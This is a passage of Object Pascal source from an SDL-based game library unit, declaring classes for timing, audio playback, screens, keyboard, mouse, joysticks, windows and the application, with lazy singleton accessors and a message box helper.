procedure SetPaused(Value: Boolean);
public
{ Create a new TStopwatch instance optionally synchronizing its time
Remarks
To synchronize time, pass the time from another stopwatch to this constructor
and both stopwatches will be synchronized until one is paused or reset }
constructor Create(SyncTime: Double = 0);
{ Reset the the stopwatch to 0 }
procedure Reset;
{ Move the stopwatch forward one frame }
function Step: Double;
{ Used to suspend time updates to the stopwatch }
property Paused: Boolean read FPaused write SetPaused;
{ The total elapsed time in seconds }
property Time: Double read FTime;
{ The elapsed time in seconds between steps }
property Interval: Double read FInterval;
{ The number of steps which occurred in the last second }
property Framerate: Integer read FFramerate;
end;
{ TTimer fires an OnExpired event every interval milliseconds while enabled
See also
<link Overview.Bare.Game.TTimer, TTimer members> }
TTimer = class
private
FTimer: LongInt;
FEnabled: Boolean;
FInterval: LongWord;
FOnExpired: TEmptyEvent;
class var FInitialized: Boolean;
procedure SetEnabled(Value: Boolean);
procedure SetInterval(Value: LongWord);
protected
{ Invokes OnExpired event }
procedure DoExpired(var Args: TEmptyArgs); virtual;
public
{ Creates a new TTimer and initializes its interval to 1000 }
constructor Create;
destructor Destroy; override;
{ Stops the timer }
property Enabled: Boolean read FEnabled write SetEnabled;
{ Time in milliseconds between notifications }
property Interval: LongWord read FInterval write SetInterval;
{ Notification that an interval has elapsed }
property OnExpired: TEmptyEvent read FOnExpired write FOnExpired;
end;
{ THardwareCollection<T> represents a collection of connectable devices such as joysticks
See also
<link Overview.Bare.Game.THardwareCollection, THardwareCollection members> }
THardwareCollection<T> = class(TOwnerCollection<T>)
public
{doc ignore}
constructor Create;
{ Scan for connected devices }
procedure ScanHardware; virtual;
end;
{ TAudioSample represents an sound clip which can be played in a bank
See also
<link Overview.Bare.Game.TAudioSample, TAudioSample members>
<link Bare.Game.TAudio, TAudio class>
<link Bare.Game.TAudioSamples, TAudioSamples class> }
TAudioSample = class
private
FData: PByte;
FSize: LongWord;
FName: string;
function GetDuration: Double;
public
{ Do not use. Use <link Overview.Bare.Game.TAudioSamples, Audio.Samples.Add> instead. }
constructor Create(Size: LongWord);
destructor Destroy; override;
{ Plays a sample in the oldest unlocked bank }
function Play: Integer; overload;
{ Plays a sample in a specific bank }
procedure Play(Bank: Integer); overload;
{ Plays a sample in the oldest unlocked bank at a specified volume }
function PlayVolume(Volume: Byte): Integer; overload;
{ Plays a sample in a specific bank at a specific volume }
procedure PlayVolume(Volume: Byte; Bank: Integer); overload;
{ The indexed name of the sample }
property Name: string read FName write FName;
{ The length in seconds of the sample }
property Duration: Double read GetDuration;
end;
{ TAudioSamples loads and holds a collection of sound clips in memory
Remarks
Only raw or compressed ms-pcm wav data can be loaded. You can use the free
tool Audacity to convert mp3, oog, or other formats to comrpessed wav files.
See also
<link Overview.Bare.Game.TAudioSamples, TAudioSamples members>
<link Bare.Game.TAudioSample, TAudioSample class> }
TAudioSamples = class(TOwnerCollection<TAudioSample>)
private
function Add(Ops: PSDL_RWops): TAudioSample; overload;
function GetSample(const Name: string): TAudioSample;
function GetSampleByIndex(Index: Integer): TAudioSample;
public
{ Loads a sound sample from the file system }
function Add(const FileName: string): TAudioSample; overload;
{ Loads a sound sample from a stream }
function Add(Stream: TStream): TAudioSample; overload;
{ Unloads a sample from memory }
procedure Remove(Sample: TAudioSample);
{ The default indexer of type <link Bare.Game.TAudioSample, TAudioSample> }
property Sample[Name: string]: TAudioSample read GetSample; default;
{ An indexer of type <link Bare.Game.TAudioSample, TAudioSample> }
property SampleByIndex[Index: Integer]: TAudioSample read GetSampleByIndex;
end;
{ TAudioBankState designates the state of a <link Bare.Game.TAudioBank, TAudioBank> }
TAudioBankState = (abStopped, abPlaying, abPaused);
{ TAudioBank is a slot from whence a sample is played
See also
<link Overview.Bare.Game.TAudioBank, TAudioBank members> }
TAudioBank = class
private
FLocked: Boolean;
FMuted: Boolean;
FLooping: Boolean;
FPosition: LongWord;
FVolume: Byte;
FSample: TAudioSample;
FState: TAudioBankState;
FTime: Double;
function GetDuration: Double;
function GetDimension: Double;
procedure SetDimension(const Value: Double);
procedure SetState(Value: TAudioBankState);
procedure SetVolume(Value: Byte);
public
constructor Create;
{ Play the sample in the bank }
procedure Play;
{ Stop the sample in the bank }
procedure Stop;
{ Pause the sample in the bank }
procedure Pause;
{ Prevents a sample from reusing the bank }
property Locked: Boolean read FLocked write FLocked;
{ Mutes any samples playing in the bank }
property Muted: Boolean read FMuted write FMuted;
{ Repeats a sample if it played and reaches the end }
property Looping: Boolean read FLooping write FLooping;
{ The length in seconds of the current sample }
property Duration: Double read GetDuration;
{ The cursor in seconds of the current sample }
property Position: Double read GetDimension write SetDimension;
{ The current <link Bare.Game.TAudioSample> }
property Sample: TAudioSample read FSample;
{ The state of the bank. <link Bare.Game.TAudioSample, TAudioSample> (read, write) }
property State: TAudioBankState read FState write SetState;
{ The volume 0 to 255 used to mix the bank }
property Volume: Byte read FVolume write SetVolume;
end;
{ The number of available sound banks }
const
AudioBankCount = 24;
{ TAudioBanks holds a collection of audio banks
See also
<link Overview.Bare.Game.TAudioBanks, TAudioBanks members> }
type
TAudioBanks = class(TOwnerCollection<TAudioBank>)
private
function GetBank(Index: Integer): TAudioBank;
public
{doc ignore}
constructor Create;
{ The default indexer of type <link Bare.Game.TAudioBank, TAudioBank> }
property Bank[Index: Integer]: TAudioBank read GetBank; default;
end;
{ TAudio is the entry point for using sound in your games. You should never
create an instance of TAudio, instead use the global <link Bare.Game.Audio, Audio function>.
See also
<link Overview.Bare.Game.TAudio, TAudio members> }
TAudio = class
private
FSamples: TAudioSamples;
FBanks: TAudioBanks;
FMasterVolume: Byte;
class var AudioSpec: TSDL_AudioSpec;
public
{ Do not use. Use <link Bare.Game.Audio, Audio function> instead. }
constructor Create;
destructor Destroy; override;
{ A <link Bare.Game.TAudioSamples, TAudioSample> collection }
property Samples: TAudioSamples read FSamples;
{ A <link Bare.Game.TAudioBanks, TAudioBank> collection }
property Banks: TAudioBanks read FBanks;
{ The master volume 0 to 255 used to mix all banks }
property MasterVolume: Byte read FMasterVolume write FMasterVolume;
end;
{ TDisplayMode represents possible resolutions and color depths for a Fullscreen window }
TDisplayMode = record
{ The horizontal screen resolution }
Width: LongInt;
{ The vertical screen resolution }
Height: LongInt;
{ The color depth }
ColorDepth: LongInt;
{ The vertial retrace rate }
RefreshRate: LongInt;
end;
{ TDisplayModes is an array of TDisplayMode }
TDisplayModes = TArray<TDisplayMode>;
{ TScreen represents a monitor (or LCD display) attached to a computer
See also
<link Overview.Bare.Game.TScreen, TScreen members> }
TScreen = class
private
FIndex: LongInt;
function GetName: string;
public
{doc ignore}
constructor Create(Index: Integer);
{ Retrieves an array of supported display modes for the screen }
procedure GetDisplayModes(out Modes: TDisplayModes);
{ Retrieves the screen's bounding rect }
procedure GetBounds(out Rect: TRectI);
{ The name of the display }
property Name: string read GetName;
end;
{ TScreens provides access to one or more screens. You should never create an
instance of TScreens, instead use the global <link Bare.Game.Screens, Screens function>.
See also
<link Overview.Bare.Game.TScreens, TScreens members>
<link Bare.Game.TScreen, TScreen class> }
TScreens = class(THardwareCollection<TScreen>)
private
function GetDriverName: string;
function GetPrimary: TScreen;
function GetScreen(Index: Integer): TScreen;
public
{ Recreates the collection of screens
Remarks
After this method is invoked, all previous screen instances are invalid }
procedure ScanHardware; override;
{ The name of the current video driver }
property DriverName: string read GetDriverName;
{ The primary screen }
property Primary: TScreen read GetPrimary;
{ The default indexer of type <link Bare.Game.TScreen, TScreen> }
property Screen[Index: Integer]: TScreen read GetScreen; default;
end;
{$region peripherals}
{ TInputDevice is an abstract class
See also
<link Overview.Bare.Game.TInputDevice, TInputDevice members> }
TInputDevice = class
public
{ Abstract method to scan an input device state }
procedure Scan; virtual; abstract;
end;
{ TKeyboard allows you to detect which keys are pressed. You should never create an
instance of TKeyboard, instead use the global <link Bare.Game.Keyboard, Keyboard function>.
See also
<link Overview.Bare.Game.TKeyboard, TKeyboard members> }
TKeyboard = class(TInputDevice)
private
FKeys: PUint8;
FCount: LongWord;
function GetKey(Index: TVirtualKeyCode): Boolean;
function GetShiftState: TShiftState;
public
{ Scan the keyboard state }
procedure Scan; override;
{ The default indexer returns true is a key is pressed down }
property Key[Index: TVirtualKeyCode]: Boolean read GetKey;
{ Returns the current shift state }
property ShiftState: TShiftState read GetShiftState;
end;
{ TMouse allows you to detect the state of the mouse. You should never create an
instance of TMouse, instead use the global <link Bare.Game.Mouse, Mouse function>.
See also
<link Overview.Bare.Game.TMouse, TMouse members> }
TMouse = class(TInputDevice)
private
FButtons: TMouseButtons;
FX: Integer;
FY: Integer;
function GetCaptured: Boolean;
procedure SetCaptured(Value: Boolean);
function GetVisible: Boolean;
procedure SetVisible(Value: Boolean);
public
{ Scan the mouse state }
procedure Scan; override;
{ Move the mouse to a postion relative to the window }
procedure Move(X, Y: Integer);
{ The mouse button state }
property Buttons: TMouseButtons read FButtons;
{ The x position of the mouse relative to the window with mouse focus }
property X: Integer read FX;
{ The y position of the mouse relative to the window with mouse focus }
property Y: Integer read FY;
{ When captured the mouse cursor is hidden and events report relative coordinates }
property Captured: Boolean read GetCaptured write SetCaptured;
{ Shows or hides the mouse cursor }
property Visible: Boolean read GetVisible write SetVisible;
end;
{ TJoystickPart<T> represents a series of axes, buttons, or trackballs which are
part of one joystick
See also
<link Overview.Bare.Game.TJoystickPart, TJoystickPart members>
<link Bare.Game.TJoystick, TJoystick class> }
TJoystickPart<T> = class(TInputDevice)
private
FJoystick: PSDL_Joystick;
FValues: TArrayList<T>;
function GetCount: Integer;
function GetValue(Index: Integer): T;
protected
procedure DoScan; virtual; abstract;
public
{ The enumerator type for TJoystickPart }
type TEnumerator = TArrayEnumerator<T>;
{ Returns a part enumerator }
function GetEnumerator: TEnumerator;
public
{doc ignore}
constructor Create(Joystick: PSDL_Joystick);
{ Scan joystick parts and their states }
procedure Scan; override;
{ Number of axes, buttons, or trackballs on a joystick }
property Count: Integer read GetCount;
{ The state of an axis, button, or trackball on a joystick }
property Value[Index: Integer]: T read GetValue; default;
end;
{ TJoystickAxes is a collection of analog sticks which are parts of one joystick.
Values range from Low(SmallInt) to High(SmallInt).
Remarks
Typically value[0, 1] are x, y on the first stick, value[2, 3] is [x, y] second
stick, and so on. Side analog triggers can also represented by value[n]. The
configuration varies by joystick.
See also
<link Overview.Bare.Game.TJoystickAxes, TJoystickAxes members>
<link Bare.Game.TJoystick, TJoystick class> }
TJoystickAxes = class(TJoystickPart<SmallInt>)
protected
{ Scan axes }
procedure DoScan; override;
end;
{ TJoystickButtons is a collection of buttons which are parts of one joystick
See also
<link Overview.Bare.Game.TJoystickButtons, TJoystickButtons members>
<link Bare.Game.TJoystick, TJoystick class> }
TJoystickButtons = class(TJoystickPart<Boolean>)
protected
{ Scan button }
procedure DoScan; override;
end;
{ TJoystickHats is a collection of 9 position switches which are parts of one joystick
See also
<link Overview.Bare.Game.TJoystickHats, TJoystickHats members>
<link Bare.Game.TJoystick, TJoystick class> }
TJoystickHats = class(TJoystickPart<TJoystickHat>)
protected
{ Scan hats }
procedure DoScan; override;
end;
{ TJoystickBall represents a trackball which is part of a joystick
See also
<link Overview.Bare.Game.TJoystickBall, TJoystickBall members>
<link Bare.Game.TJoystick, TJoystick class> }
TJoystickTrackball = record
{ The x change for a trackball }
XDelta: Integer;
{ The y change for a trackball }
YDelta: Integer;
end;
{ TJoystickBalls is a collection of trackballs which are parts of one joystick
See also
<link Overview.Bare.Game.TJoystickBalls, TJoystickBalls members>
<link Bare.Game.TJoystick, TJoystick class> }
TJoystickTrackballs = class(TJoystickPart<TJoystickTrackball>)
protected
{ Scan trackballs }
procedure DoScan; override;
end;
{ TJoystick is an interface to a peripheral with zero or more analog sticks (axes),
buttons, hats, or trackballs
See also
<link Overview.Bare.Game.TJoystick, TJoystick members> }
TJoystick = class(TInputDevice)
private
FJoystick: PSDL_Joystick;
FIndex: Integer;
FName: string;
FAxes: TJoystickAxes;
FButtons: TJoystickButtons;
FHats: TJoystickHats;
FTrackballs: TJoystickTrackballs;
public
{doc ignore}
constructor Create(Index: Integer);
destructor Destroy; override;
{ Scan for joystick parts and their states }
procedure Scan; override;
{ The name of the joystick }
property Name: string read FName;
{ A collection of analog sticks }
property Axes: TJoystickAxes read FAxes;
{ A collection of buttons }
property Buttons: TJoystickButtons read FButtons;
{ A collection of 9-way hat switches }
property Hats: TJoystickHats read FHats;
{ A collection of trackballs }
property Trackballs: TJoystickTrackballs read FTrackballs;
end;
{ TJoysticks provides access to one or more joysticks. You should never create an
instance of TJoysticks, instead use the global <link Bare.Game.Joysticks, Joysticks function>.
See also
<link Overview.Bare.Game.TJoysticks, TJoysticks members>
<link Bare.Game.TJoystick, TJoystick class> }
TJoysticks = class(THardwareCollection<TJoystick>)
private
function GetJoystick(Index: Integer): TJoystick;
public
{ Recreates the collection of joysticks
Remarks
After this method is invoked, all previous screen joysticks are invalid }
procedure ScanHardware; override;
{ The default indexer of type <link Bare.Game.TJoystick, TJoystick> }
property Joystick[Index: Integer]: TJoystick read GetJoystick; default;
end;
{$endregion}
{$region window parameters}
type
{ TWindowStyles defines the decoration of a window }
TWindowStyles = set of (wsBorder, wsFulldesktop, wsFullscreen,
wsMaximized, wsResizeable, wsVisible);
{ TAttributes defines OpenGL window attributes }
TAttributes = record
{ default 0 = no stencil buffer, possible values are: 0, 8, 16, 24, 32 }
StencilBits: Byte;
{ default 16 = 16 bit depth buffer, possible values are: 0, 8, 16, 24, 32 }
DepthBits: Byte;
{ default 0 = no full screen anti-ailiasing, possible values are: 0, 2, 4, 8 }
MultiSamples: Byte;
{ default 1 = synchronize the vertical retrace, possible values are: 0, 1 }
VerticalSync: Byte;
{ default 1 = force hardware acceleration, possible values are: 0, 1, 2 }
HardwareAcceleration: Byte;
{ default 0 = disable 3D stereo rendering, possible values are: 0, 1 }
Stereo: Byte;
{ default 0, optionally specify an OpenGL major version number when creating a 3.x context }
MajorVersion: Byte;
{ default 0, optionally specify an OpenGL minor version number when creating a 3.x context }
MinorVersion: Byte;
end;
const
{ A created window will be positioned by the operatating system
<link Bare.Game.TWindowParams, TWindowParams record> }
WindowPosUndefined = SDL_WINDOWPOS_UNDEFINED;
{ A created window will be positioned in the center of the screen
<link Bare.Game.TWindowParams, TWindowParams record> }
WindowPosCentered = SDL_WINDOWPOS_CENTERED;
{ TCreateParams defines the capabilities of window
See also
<link Bare.Game.TWindow.WindowPosUndefined, WindowPosUndefined constant>
<link Bare.Game.TWindow.WindowPosCentered, WindowPosCentered constant>
<link Bare.Game.TWindow.TAttributes, TAttributes record>
<link Bare.Game.TWindow.CreateParams, CreateParams method> }
type
TCreateParams = record
{ The caption above a window }
Caption: string;
{ Horizontal position of a window }
X: Integer;
{ Vertical position of a window }
Y: Integer;
{ Width of a window }
Width: Integer;
{ Height of a window }
Height: Integer;
{ Display mode to use if fullscreen is set }
DisplayMode: TDisplayMode;
{ Window decoration options }
Style: TWindowStyles;
{ Values used to configure OpenGL }
Attributes: TAttributes;
{ When set to true separate threads for Logic and Render are created }
Multithreaded: Boolean;
end;
{$endregion}
{ TWindow is the class which displays content on your screen
Remarks
The following methods may execute in arbitrary threads: Load, Update, Render
See also
<link Overview.Bare.Game.TWindow, TWindow members>
<link topic_window, Creating a game window topic> }
TWindow = class(TPersistsObject, IWindow)
private
FWindow: PSDL_Window;
FContext: PSDL_GLContext;
FClosed: Boolean;
FFullscreen: Boolean;
FVisible: Boolean;
FMultithreaded: Boolean;
FLogicThread: TThread;
FRenderThread: TThread;
FCreateParams: TCreateParams;
FMessageQueue: TMessageQueue;
FOnQueryClose: TQueryCloseEvent;
FOnClose: TEmptyEvent;
FOnFocus: TFocusEvent;
FOnKeyDown: TKeyboardEvent;
FOnKeyUp: TKeyboardEvent;
FOnMouseMove: TMouseMoveEvent;
FOnMouseDown: TMouseButtonEvent;
FOnMouseUp: TMouseButtonEvent;
FOnMouseWheel: TMouseWheelEvent;
FOnMouseEnter: TEmptyEvent;
FOnMouseLeave: TEmptyEvent;
FOnMove: TMoveResizeEvent;
FOnResize: TMoveResizeEvent;
FOnSizeChanged: TEmptyEvent;
FOnShow: TEmptyEvent;
FOnHide: TEmptyEvent;
FOnJoystickAxis: TJoystickAxisEvent;
FOnJoystickBall: TJoystickBallEvent;
FOnJoystickHat: TJoystickHatEvent;
FOnJoystickButtonDown: TJoystickButtonEvent;
FOnJoystickButtonUp: TJoystickButtonEvent;
FOnJoystickAdded: TJoystickDeviceEvent;
FOnJoystickRemoved: TJoystickDeviceEvent;
procedure CreateWindow(var Params: TCreateParams);
procedure CreateLoop(Stopwatch: TStopwatch);
procedure DestroyLoop;
procedure RunLoop(Stopwatch: TStopwatch);
function GetCaption: string;
procedure SetCaption(const Value: string);
procedure SetFullscreen(Value: Boolean);
function GetScreen: TScreen;
procedure SetVisible(Value: Boolean);
protected
{ IWindow.GetDimension }
function GetDimension(Index: Integer): Integer;
{ IWindow.SetDimension }
procedure SetDimension(Index, Value: Integer);
{ CreateParams initializes window settings before window creation }
procedure CreateParams(var Params: TCreateParams); virtual;
{ SetDisplayMode can change the resolution and color depth of a fullscreen window }
procedure SetDisplayMode(const Mode: TDisplayMode);
{ GetDisplayMode returns the resolution and color depth of a fullscreen window }
procedure GetDisplayMode(out Mode: TDisplayMode);
{ This method is called once before Logic and can be used to initialize game state
<link Bare.Game.TWindow.FinalizeInitialize, FinalizeInitialize method>
<link Bare.Game.TWindow.Logic, Logic method> }
procedure LogicInitialize; virtual;
{ Override this method to calculate game state and logic
Remarks
This method executed is inside a dedicated thread if multithreaded is true
See also
<link Bare.Game.TWindow.Render, Render method>
<link Bare.Game.TCreateParams, TCreateParams type> }
procedure Logic(Stopwatch: TStopwatch); virtual;
{ This method is upon close and can be used to finalize game state
<link Bare.Game.TWindow.LogicInitialize, LogicInitialize method>
<link Bare.Game.TWindow.Logic, Logic method> }
procedure LogicFinalize; virtual;
{ This method is called once before Logic and can be used to initialize OpenGL state
See also
<link Bare.Game.TWindow.FinalizeInitialize, FinalizeInitialize method>
<link Bare.Game.TWindow.Render, Render method> }
procedure RenderInitialize; virtual;
{ Override this method to render visuals with OpenGL functions
Remarks
This method executed is inside a dedicated thread if multithreaded is true
See also
<link Bare.Game.TWindow.Logic, Logic method>
<link Bare.Game.TWindow.MessageQueue, MessageQueue property>
<link Bare.Game.TCreateParams, TCreateParams type> }
procedure Render(Stopwatch: TStopwatch); virtual;
{ This method is upon close and can be used to finalize OpenGL state
See also
<link Bare.Game.TWindow.RenderInitialize, RenderInitialize method>
<link Bare.Game.TWindow.Render, Render method> }
procedure RenderFinalize; virtual;
{ Flushes drawing commands and switch the front and back buffers. Called for you
automatically after Render.
See also
<link Bare.Game.TWindow.Render, Render method> }
procedure SwapBuffers;
{ Called by <link Bare.Game.TApplication.ProcessEvents, TApplication.ProcessEvents> }
procedure DispatchMessage(var Message: TMessage); virtual;
procedure DoClose(var Args: TEmptyArgs); virtual;
procedure DoFocus(var Args: TFocusArgs); virtual;
procedure DoKeyDown(var Args: TKeyboardArgs); virtual;
procedure DoKeyUp(var Args: TKeyboardArgs); virtual;
procedure DoMouseMove(var Args: TMouseMoveArgs); virtual;
procedure DoMouseDown(var Args: TMouseButtonArgs); virtual;
procedure DoMouseUp(var Args: TMouseButtonArgs); virtual;
procedure DoMouseWheel(var Args: TMouseWheelArgs); virtual;
procedure DoMouseEnter(var Args: TEmptyArgs); virtual;
procedure DoMouseLeave(var Args: TEmptyArgs); virtual;
procedure DoMove(var Args: TMoveResizeArgs); virtual;
procedure DoResize(var Args: TMoveResizeArgs); virtual;
procedure DoSizeChanged(var Args: TEmptyArgs); virtual;
procedure DoShow(var Args: TEmptyArgs); virtual;
procedure DoHide(var Args: TEmptyArgs); virtual;
procedure DoJoystickAxis(var Args: TJoystickAxisArgs); virtual;
procedure DoJoystickBall(var Args: TJoystickBallArgs); virtual;
procedure DoJoystickHat(var Args: TJoystickHatArgs); virtual;
procedure DoJoystickButtonDown(var Args: TJoystickButtonArgs); virtual;
procedure DoJoystickButtonUp(var Args: TJoystickButtonArgs); virtual;
procedure DoJoystickAdded(var Args: TJoystickDeviceArgs); virtual;
procedure DoJoystickRemoved(var Args: TJoystickDeviceArgs); virtual;
{ This value will be true is multithreaded is set to true
in <link Bare.Game.TWindow.CreateParams, CreateParams method>
See also
<link Bare.Game.TWindow.Logic, Logic method>
<link Bare.Game.TWindow.Render, Render method> }
property Multithreaded: Boolean read FMultithreaded;
{ Use MessageQueue to safely read user input in your
<link Bare.Game.TWindow.Logic, Logic method>
See Also
<link Bare.Game.TMessageQueue.Remove, TMessageQueue.Remove method> }
property MessageQueue: TMessageQueue read FMessageQueue;
{ Notification before a window is closed }
property OnQueryClose: TQueryCloseEvent read FOnQueryClose write FOnQueryClose;
{ Notification that a window was closed }
property OnClose: TEmptyEvent read FOnClose write FOnClose;
{ Notification that a window recieved os lost keyboard focus }
property OnFocus: TFocusEvent read FOnFocus write FOnFocus;
{ Notification that a key is pressed }
property OnKeyDown: TKeyboardEvent read FOnKeyDown write FOnKeyDown;
{ Notification that a key is released }
property OnKeyUp: TKeyboardEvent read FOnKeyUp write FOnKeyUp;
{ Notification that a mouse moved inside a window }
property OnMouseMove: TMouseMoveEvent read FOnMouseMove write FOnMouseMove;
{ Notification that a mouse button waspressed inside a window }
property OnMouseDown: TMouseButtonEvent read FOnMouseDown write FOnMouseDown;
{ Notification that a mouse button was released inside a window }
property OnMouseUp: TMouseButtonEvent read FOnMouseUp write FOnMouseUp;
{ Notification that a mouse wheel scrolled while inside a window }
property OnMouseWheel: TMouseWheelEvent read FOnMouseWheel write FOnMouseWheel;
{ Notification that a mouse entered a window }
property OnMouseEnter: TEmptyEvent read FOnMouseEnter write FOnMouseEnter;
{ Notification that a mouse left a window }
property OnMouseLeave: TEmptyEvent read FOnMouseLeave write FOnMouseLeave;
{ Notification that a window is moved }
property OnMove: TMoveResizeEvent read FOnMove write FOnMove;
{ Notification that a window was resized }
property OnResize: TMoveResizeEvent read FOnResize write FOnResize;
property OnSizeChanged: TEmptyEvent read FOnSizeChanged write FOnSizeChanged;
{ Notification that a window was shown }
property OnShow: TEmptyEvent read FOnShow write FOnShow;
{ Notification that a window was hidden }
property OnHide: TEmptyEvent read FOnHide write FOnHide;
{ Notification that a joystick axis was moved }
property OnJoystickAxis: TJoystickAxisEvent read FOnJoystickAxis write FOnJoystickAxis;
{ Notification that a joystick trackball changed }
property OnJoystickBall: TJoystickBallEvent read FOnJoystickBall write FOnJoystickBall;
{ Notification that a joystick hat switch changed }
property OnJoystickHat: TJoystickHatEvent read FOnJoystickHat write FOnJoystickHat;
{ Invoked when a joystick button is pressed }
property OnJoystickButtonDown: TJoystickButtonEvent read FOnJoystickButtonDown write FOnJoystickButtonDown;
{ Invoked when a joystick button is released }
property OnJoystickButtonUp: TJoystickButtonEvent read FOnJoystickButtonUp write FOnJoystickButtonUp;
{ Invoked when a joystick is attached }
property OnJoystickAdded: TJoystickDeviceEvent read FOnJoystickAdded write FOnJoystickAdded;
{ Invoked when a joystick is removed }
property OnJoystickRemoved: TJoystickDeviceEvent read FOnJoystickRemoved write FOnJoystickRemoved;
public
{ Do not use. Use <link Overview.Bare.Game.TApplication, CreateWindow or Run> instead. }
constructor Create; virtual;
destructor Destroy; override;
{ Requests that a window be closed }
procedure Close;
{ Maximizes a window }
procedure Maximize;
{ Minimizes a window }
procedure Minimize;
{ Restores a window }
procedure Restore;
{ Shows a window }
procedure Show;
{ Hides a window }
procedure Hide;
{ Moves a window to a specified position }
procedure Move(X, Y: Integer);
{ Resizes a window to a specified width and height }
procedure Resize(Width, Height: Integer);
{ Retrieves the boundaries of a window }
procedure GetBounds(out Rect: TRectI);
{ Updates the boundaries of a window }
procedure SetBounds(const Rect: TRectI);
{ The text show in the title bar of a window }
property Caption: string read GetCaption write SetCaption;
{ Determines if a window fills an entire screen }
property Fullscreen: Boolean read FFullscreen write SetFullscreen;
{ Window horizontal position }
property X: Integer index 0 read GetDimension write SetDimension;
{ Window vertical position }
property Y: Integer index 1 read GetDimension write SetDimension;
{ Window width }
property Width: Integer index 2 read GetDimension write SetDimension;
{ Window height }
property Height: Integer index 3 read GetDimension write SetDimension;
{ The screen containing the mid point of the window }
property Screen: TScreen read GetScreen;
{ Determines whether a window is shown }
property Visible: Boolean read FVisible write SetVisible;
end;
{ TWindowClass defines a type of window }
TWindowClass = class of TWindow;
{ TWindows holds a collection of windows
See also
<link Overview.Bare.Game.TWindows, TWindows members> }
TWindows = class(TCollection<TWindow>)
private
procedure Delete(Index: Integer);
function GetWindow(Index: Integer): TWindow;
public
{ The default indexer for TWindows }
property Window[Index: Integer]: TWindow read GetWindow; default;
end;
{ Arguments for an application exception event }
TExceptionArgs = record
ExceptObject: Exception;
Handled: Boolean;
end;
{ TExceptionEvent allows an application to process unhandled exceptions }
TExceptionEvent = TEventHandler<TExceptionArgs>;
{ TApplication manages windows and runs your game. You should never create an
instance of TApplication, instead use the global <link Bare.Game.Application, Application function>.
See also
<link Overview.Bare.Game.TApplication, TApplication members> }
TApplication = class
private
FTerminated: Boolean;
FWindows: TWindows;
FTimeDelta: Double;
FOnException: TExceptionEvent;
function GetKeyboardWindow: TWindow;
function GetMouseWindow: TWindow;
function GetMainWindow: TWindow;
public
{ Do not use. Use <link Bare.Game.Application, Application function> instead. }
constructor Create;
destructor Destroy; override;
{ Init returns true if a version of OpenGL can be initialized
Remarks
When strict is off (the default) init will return true if a hardware accelerated
OpenGL context can be created even if the requested OpenGL version does not exist. }
function Init(Strict: Boolean = False): Boolean;
{ Creates a window given a <link Bare.Game.TWindowClass, TWindowClass> }
function CreateWindow(WindowClass: TWindowClass): TWindow;
{ Processes events pending in the event queue }
procedure ProcessEvents;
{ Runs the application if a window was created }
procedure Run; overload;
{ Create a window and run the application }
procedure Run(WindowClass: TWindowClass); overload;
{ Create a window, store it in a variable, and run the application }
procedure Run(WindowClass: TWindowClass; out Window: TWindow); overload;
{ Signal a running application to close all windows and stop }
procedure Terminate;
{ The window with keyboard focus }
property KeyboardWindow: TWindow read GetKeyboardWindow;
{ The window with mouse focus }
property MouseWindow: TWindow read GetMouseWindow;
{ The first window created }
property MainWindow: TWindow read GetMainWindow;
{ Set to true when terminate is called }
property Terminated: Boolean read FTerminated;
{ A <link Bare.Game.TWindows, TWindows> collection }
property Windows: TWindows;
{ Invoked when an unhandled exception occurs }
property OnException: TExceptionEvent read FOnException write FOnException;
end;
{ Provides access to <link Bare.Game.TApplication, TApplication class> }
function Application: TApplication;
{ Provides access to <link Bare.Game.TAudio, TAudio class> }
function Audio: TAudio;
{ Provides access to <link Bare.Game.TScreens, TScreens class> }
function Screens: TScreens;
{ Provides access to <link Bare.Game.TKeyboard, Keyboard TKeyboard> }
function Keyboard: TKeyboard;
{ Provides access to <link Bare.Game.TMouse, TMouse class> }
function Mouse: TMouse;
{ Provides access to <link Bare.Game.TJoysticks, TJoysticks class> }
function Joysticks: TJoysticks;
{ Scans mouse, keyboard, and joysticks states
Remarks
This method is called for you automatically }
procedure ScanInput;
implementation
const
WindowInstance = 'WindowInstance';
var
ApplicationInstance: TObject;
AudioInstance: TObject;
KeyboardInstance: TObject;
MouseInstance: TObject;
ScreensInstance: TObject;
JoysticksInstance: TObject;
function Application: TApplication;
begin
if ApplicationInstance = nil then
begin
Lock;
try
if ApplicationInstance = nil then
ApplicationInstance := TApplication.Create;
{ Ensure the video subsystem is initialized }
Screens;
finally
Unlock;
end;
end;
Result := TApplication(ApplicationInstance);
end;
function Audio: TAudio;
begin
if AudioInstance = nil then
begin
Lock;
try
if AudioInstance = nil then
begin
SDL_InitSubSystem(SDL_INIT_AUDIO);
AudioInstance := TAudio.Create;
end;
finally
Unlock;
end;
end;
Result := TAudio(AudioInstance);
end;
function Keyboard: TKeyboard;
begin
if KeyboardInstance = nil then
begin
Lock;
try
if KeyboardInstance = nil then
KeyboardInstance := TKeyboard.Create;
finally
Unlock;
end;
end;
Result := TKeyboard(KeyboardInstance);
end;
function Mouse: TMouse;
begin
if MouseInstance = nil then
begin
Lock;
try
if MouseInstance = nil then
MouseInstance := TMouse.Create;
finally
Unlock;
end;
end;
Result := TMouse(MouseInstance);
end;
function Screens: TScreens;
begin
if ScreensInstance = nil then
begin
Lock;
try
if ScreensInstance = nil then
begin
SDL_InitSubSystem(SDL_INIT_VIDEO);
ScreensInstance := TScreens.Create;
end;
finally
Unlock;
end;
end;
Result := TScreens(ScreensInstance);
end;
function Joysticks: TJoysticks;
begin
if JoysticksInstance = nil then
begin
Lock;
try
if JoysticksInstance = nil then
begin
SDL_InitSubSystem(SDL_INIT_JOYSTICK);
JoysticksInstance := TJoysticks.Create;
end;
finally
Unlock;
end;
end;
Result := TJoysticks(JoysticksInstance);
end;
procedure ScanInput;
var
I: Integer;
begin
Lock;
try
if MouseInstance <> nil then
TInputDevice(MouseInstance).Scan;
if KeyboardInstance <> nil then
TInputDevice(KeyboardInstance).Scan;
if JoysticksInstance <> nil then
for I := TJoysticks(JoysticksInstance).Count - 1 downto 0 do
TJoysticks(JoysticksInstance)[I].Scan;
finally
Unlock;
end;
end;
const
MessageCaptions: array[TMessageType] of PAnsiChar =
('Information', 'Confirmation', 'Warning', 'Error');
MessageFlags: array[TMessageType] of Uint32 =
(SDL_MESSAGEBOX_INFORMATION, SDL_MESSAGEBOX_INFORMATION,
SDL_MESSAGEBOX_WARNING, SDL_MESSAGEBOX_ERROR);
procedure MessageBox(const Prompt: string);
begin
MessageBox(mtInformation, Prompt);
end;
procedure MessageBox(Kind: TMessageType; const Prompt: string);
var
P: AnsiString;
begin
P := Prompt;
SDL_ShowSimpleMessageBox(MessageFlags[Kind], MessageCaptions[Kind],
PAnsiChar(P), nil);
end;
